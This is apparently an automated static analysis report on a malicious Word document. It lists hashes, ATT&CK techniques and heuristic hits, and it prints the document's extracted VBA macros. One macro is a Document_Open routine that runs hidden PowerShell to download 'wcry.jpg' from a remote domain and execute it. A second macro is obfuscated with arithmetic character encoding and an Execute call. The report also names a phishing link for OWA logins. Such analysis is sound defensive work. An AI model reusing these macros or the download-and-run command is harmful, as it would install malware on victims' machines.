Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec09ef78eb093fe5…

MALICIOUS

Office (OLE)

165.5 KB Created: 2017-05-23 21:19:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 0f8f0ea4556a1381a0017ada0ad00a99 SHA-1: 481b1f025e110b7dddbca1d9bf0a6f1f7f86b306 SHA-256: ec09ef78eb093fe50416bd94c21969f420e0a68f34a826aac76b2d429c765fd8
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Document_Open VBA macro that utilizes WScript.Shell to execute a PowerShell command. This command downloads a file named 'wcry.jpg' (likely an executable) from 'https://franchise-tax-board.us/wcry.jpg' to the temporary directory and then executes it. The document body further lures the user to click on 'http://mail.franchise-tax-board.us' for OWA login, indicating a credential harvesting or further payload delivery attempt.

Heuristics 12

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub Document_Open()
    Set objShell = CreateObject("Wscript.shell")
    objShell.Run ("powershell.exe -windowstyle hidden -command ""Invoke-Webrequest -UserAgent 'Ransomware Download' -Uri https://franchise-tax-board.us/wcry.jpg -outfile $env:Temp\wcry.exe; Start-Process $env:Temp\wcry.exe")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Set objShell = CreateObject("Wscript.shell")
    objShell.Run ("powershell.exe -windowstyle hidden -command ""Invoke-Webrequest -UserAgent 'Ransomware Download' -Uri https://franchise-tax-board.us/wcry.jpg -outfile $env:Temp\wcry.exe; Start-Process $env:Temp\wcry.exe")
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub Document_Open()
    Set objShell = CreateObject("Wscript.shell")
    objShell.Run ("powershell.exe -windowstyle hidden -command ""Invoke-Webrequest -UserAgent 'Ransomware Download' -Uri https://franchise-tax-board.us/wcry.jpg -outfile $env:Temp\wcry.exe; Start-Process $env:Temp\wcry.exe")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Document_Open()
    Set objShell = CreateObject("Wscript.shell")
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mail.franchise-tax-board.us In document text (OLE body)
    • https://franchise-tax-board.us/wcry.jpgIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6162 bytes
SHA-256: 0d45731d0aeac0ac00222e786e96177c9a41c5d234c640a8287d63c54f71c0b9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Set objShell = CreateObject("Wscript.shell")
objShell.Run ("powershell.exe -windowstyle hidden -command ""Invoke-Webrequest -UserAgent 'Ransomware Download' -Uri https://franchise-tax-board.us/wcry.jpg -outfile $env:Temp\wcry.exe; Start-Process $env:Temp\wcry.exe")
End Sub




Attribute VB_Name = "NewMacros"
Sub Document_Open()
Dim CGXzFdxBrkJdJTPOKUVuKEKgPCcIUVGFidtrqYJDxGQnewS, jWUHbtJKDTFjBrSbnuIRHYDNRxgTegNLfixNfSFfYBIzCvu, fSWyFTpVRXVesMxIElSxLXgMPWuKbShhbjytfZQZiBUyIAz
Sub LjJwRcHcqalojdAcNKRkTTPwKQlizuOrlxtUbcRDGtyBcoJ()
CGXzFdxBrkJdJTPOKUVuKEKgPCcIUVGFidtrqYJDxGQnewS = "2357-2274*-3587+3688*9737-9621*5906-5874*346-235*859-761*6566-6460*-9364+9447*7541-7437*" & _
-3998+4099*215028/1991*-9395+9503*52352/1636*7424-7363*118624/3707*-498+565*214776/1884*-89+190*415160/4280*723840/6240*653773/6473*-705+784*116718/1191*" & _
459616/4336*4056-3955*536085/5415*-9706+9822*-6782+6822*70788/2082*659634/7582*5135-5020*6607-6508*2198-2084*3870-3765*599312/5351*-6789+6905*9211-9165*392840/" & _
3416*6773-6669*6638-6537*6815-6707*20952/194*-9923+9957*3951-3910*4312-4302*-7345+7456*2467-2369*987708/9318*1212-1129*188968/1817*-6266+6367*153144/1418*-2287+2395* " & _
-9233+9279*704462/8591*-236+353*587730/5343*5404-5372*2743-2703*282608/8312*968940/9228*-3789+3890*-5292+5412*-1694+1806*6581-6473*6204-6093*9556-9442*4345-4244*-6377+6423*-1440+1541* " & _
-1059+1179*-4575+4676*63872/1996*-9665+9769*208452/1797*-4047+4163*296128/2644*7447-7332*58348/1006*-94+141*101003/2149*8639-8520*5537-5418*7852-7733*5504-5458*-913+1016*-7965+8076*3304-3193*" & _
6452-6349*-5511+5619*286941/2841*367080/7980*5509-5410*256854/2314*4311-4202*9701-9667*-4538+4579*7071-7061*93980/9398*6199-6160*-4516+4627*5408-5294*9753-9721*3343-3303*3185-3119*672792/6936*" & _
-8975+9090*447026/4426*-4789+4843*439088/8444*34400/1075*623372/6172*-5748+5858*451836/4564*-7686+7797*2043-1943*96859/959*-6858+6958*1664-1623*4533-4523*73470/7347*-4242+4281*-4752+4863*-8680+8778*" & _
-7919+8025*5753-5670*623272/5993*877690/8690*-2179+2287*712044/6593*6601-6555*1446-1364*1814-1697*7449-7339*144352/4511*836-796*-3466+3500*8133-8021*-3330+3441*4644-4525*7256-7155*-7548+7662*4236-4121*" & _
9012-8908*232906/2306*7581-7473*1009908/9351*6869-6823*848400/8400*206880/1724*892941/8841*4211-4179*271530/6034*-5513+5632*-4629+4734*1037410/9431*214500/2145*470-359*63665/535*-2542+2657*" & _
5796-5680*482064/3984*8619-8511*-4107+4208*7384-7352*861432/8283*9027-8922*782-682*4488-4388*681447/6747*18370/167*6774-6742*385470/8566*-9228+9329*-353+463*9903-9804*1976-1944*375744/4944*2209-2128*-5225+5291*" & _
-5875+5992*-5394+5459*608470/8570*128128/2288*631800/9720*-1316+14" & _
15*182650/2810*-430+495*-8634+8737*2051-1986*222440/3320*-7396+7444*7893-7828*303-214*4689-4570*9418-9353*8691-8588*7867-7802*331144/4664*-2014+2121*-8313+8378*4072-3982*554121/6841*682-616*-7554+7606*5149-5084*-5251+5318*174791/1697*354055/5447*8004-7920*6505-6402*4391-4325*8360-8252*-704+769*541296/7518*753786/7614*4475-4410*-1186+1262*-3856+3937*518694/7859*1549-1469*1325-1260*-5006+5077*3404-3331*566215/8711*-9647+9744*-2074+2177*-5536+5602*464832/4304*2879-2814*-5021+5092*-2256+2333*-8663+8728*3532-3432*9138-9073*540800/8320*-8037+8140*6752-6687*5671-5602*390312/7506*-1310+1375*523350/5815*-5275+5356*316404/4794*-348+396*-727+792*5020-4953*-4922+4974*-6087+6152*75508/878*-9460+9579*1140-1074*617760/5720*351520/5408*-3652+3723*8699-8626*-2051+2116*314766/3886*400911/3369*562386/8521*-4666+4781*95160/1464*140793/1983*863383/8069*137085/2109*5797-5707*282123/3483*6499-6433*276822/2366*9961-9896*4047-3975*-7921+8002*248-183*-8749+8824*358992/4432*-3420+3485*909324/7772*6676-6611*6588-6519*76545/945*-1597+16
62*740292/7554*5081-4962*185460/2810*8265-8214*345215/5311*-7586+7657*467636/8993*631345/9713*325850/3325*5077-5012*-1222+1288*-3846+3964*195650/3010*5689-5618*1728-1659*-5040+5105*534060/5934*-2500+2565*6597-6531*634368/7552*65390/1006*-3486+3558*-3639+3720*2659-2594*-5235+5334*5169-5066*-5521+5587*782320/6985*614640/9456*404061/5691*359840/6920*-3568+3633*9048-8958*-4052+4171*1794-1729*6063-5952*155415/2391*2174-2107*-5642+5741*547625/8425*501587/5171*350415/5391*6189-6123*5117-5069*4155-4090*957-885*3007-2926*8043-7978*-526+625*630565/9701*583310/8974*363960/6740*6225-6160*748-681*2423-2367*8156-8091*227696/2996*-7078+7197*4680-4615*586680/4889*-1608+1673*-5751+5819*-9575+9682*3467-3402*-743+820*-4177+4280*-2437+2502*196326/1678*-5633+5698*1674-1606*-9562+9631*34710/534*2248-2170*3408-3305*-1940+2005*-8436+8488*31200/480*-6827+6894*928-876*6580-6515*1521-1444*142140/1380*2361-2296*1111-989*-9296+9361*-6665+6733*770337/7479*249080/3832*299896/3946*1524-1421*7580-7515*761160/6343*6358-6293*182716/2687*-8810
+8887*-7221+7286*-9896+9973*7325-7222*-2944+3009*6352-6234*3362-3297*18815/265*330561/4293*613340/9436*551251/5683*-8787+8852*-5585+5651*-1052+1160*-5312+5377*-4725+4796*-7704+7781*-4764+4829*9857-9760*-9494+9613*540-474*1087408/9709*595400/9160*1757-1685*-4345+4410*336570/5178*3862-3786*-5807+5910*-2903+2969*405360/8445*6040-5975*684288/9504*219184/2128*-8974+9039*402100/4021*6242-6177*8739-8674*-17+127*-2073+2138*594960/8880*224272/2096*631800/9720*3434/101*-4844+4885"
jWUHbtJKDTFjBrSbnuIRHYDNRxgTegNLfixNfSFfYBIzCvu = Split(CGXzFdxBrkJdJTPOKUVuKEKgPCcIUVGFidtrqYJDxGQnewS, Chr(eVaL(248934 / 5927)))
For Each VJdAgXbGGUOXqKMytedxMVjoVEtCHYATqAbxwvtSsYRowPF In jWUHbtJKDTFjBrSbnuIRHYDNRxgTegNLfixNfSFfYBIzCvu
fSWyFTpVRXVesMxIElSxLXgMPWuKbShhbjytfZQZiBUyIAz = fSWyFTpVRXVesMxIElSxLXgMPWuKbShhbjytfZQZiBUyIAz & Chr(eVaL(VJdAgXbGGUOXqKMytedxMVjoVEtCHYATqAbxwvtSsYRowPF))
Next
zSJmAhYKVhhyGCHMQAVFuoXlWEiSLcAuLzNzlsAEQOnKAOJ
End Sub
Sub zSJmAhYKVhhyGCHMQAVFuoXlWEiSLcAuLzNzlsAEQOnKAOJ()
eVaL (Execute(fSWyFTpVRXVesMxIElSxLXgMPWuKbShhbjytfZQZiBUyIAz))
End Sub
LjJwRcHcqalojdAcNKRkTTPwKQlizuOrlxtUbcRDGtyBcoJ
End Sub